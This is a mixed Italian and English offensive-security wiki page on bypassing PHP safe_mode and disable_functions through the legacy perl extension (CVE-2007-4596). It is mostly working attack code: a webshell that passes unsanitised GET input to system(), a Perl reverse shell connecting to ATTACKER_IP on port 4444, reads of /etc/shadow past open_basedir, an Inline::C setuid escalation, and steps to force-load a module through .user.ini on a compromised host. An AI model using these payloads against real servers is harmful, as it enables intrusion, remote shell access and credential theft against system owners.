PHP Perl Extension Safe_mode Bypass Exploit

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Contesto

The issue tracked as CVE-2007-4596 comes from the legacy perl PHP extension, which embeds a full Perl interpreter without honoring PHP’s safe_mode, disable_functions, or open_basedir controls. Any PHP worker that loads extension=perl.so gains unrestricted Perl eval, so command execution remains trivial even when all classic PHP process-spawning primitives are blocked. Although safe_mode disappeared in PHP 5.4, many outdated shared-hosting stacks and vulnerable labs still ship it, so this bypass is still valuable when you land on legacy control panels.

Compatibilità & stato del packaging (2025)

  • The last PECL release (perl-1.0.1, 2013) targets PHP ≥5.0; PHP 8+ generally fails because the Zend APIs changed.
  • PECL is being superseded by PIE, but older stacks still ship PECL/pear. Use the flow below on PHP 5/7 targets; on newer PHP expect to downgrade or switch to another injection path (e.g., userland FFI).
  • Fetch perl-1.0.1 from PECL, compile it for the PHP branch you plan to attack, and load it globally (php.ini) or via dl() (if permitted).
  • Quick Debian-based lab recipe:
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
  • During exploitation confirm availability with var_dump(extension_loaded('perl')); or print_r(get_loaded_extensions());. If absent, search for perl.so or abuse writable php.ini/.user.ini entries to force-load it.
  • Because the interpreter lives inside the PHP worker, no external binaries are needed—network egress filters or proc_open blacklists do not matter.

Catena di build on-host quando phpize è raggiungibile

Se phpize e build-essential sono presenti sull’host compromesso, puoi compilare e caricare perl.so senza invocare la shell del sistema operativo:

# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config=$(php -r 'echo PHP_BINARY;')-config
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# then load with a .user.ini in the webroot if main php.ini is read-only
echo "extension=/tmp/perl.so" > /var/www/html/.user.ini

Se open_basedir è applicato, assicurati che il .user.ini e la .so depositati risiedano in un percorso consentito; la direttiva extension= è comunque rispettata all’interno del basedir. Il flusso di compilazione rispecchia il manuale PHP per la costruzione di estensioni PECL.

Original PoC (NetJackal)

Da http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, ancora utile per confermare che l’estensione risponda a eval:

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

Miglioramenti moderni del payload

1. TTY completo su TCP

L’interprete incorporato può caricare IO::Socket anche se /usr/bin/perl è bloccato:

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. File-System Escape Even with open_basedir

Perl ignora open_basedir di PHP, quindi puoi leggere file arbitrari:

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

Inoltra l’output tramite IO::Socket::INET o Net::HTTP per exfiltrate data senza toccare i descrittori gestiti da PHP.

3. Compilazione inline per Privilege Escalation

Se Inline::C esiste a livello di sistema, compila helper all’interno della richiesta senza affidarsi a ffi o pcntl di PHP:

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Living-off-the-Land Enumeration

Tratta Perl come una LOLBAS toolkit — ad esempio, dump MySQL DSNs anche se mysqli è mancante:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

Riferimenti

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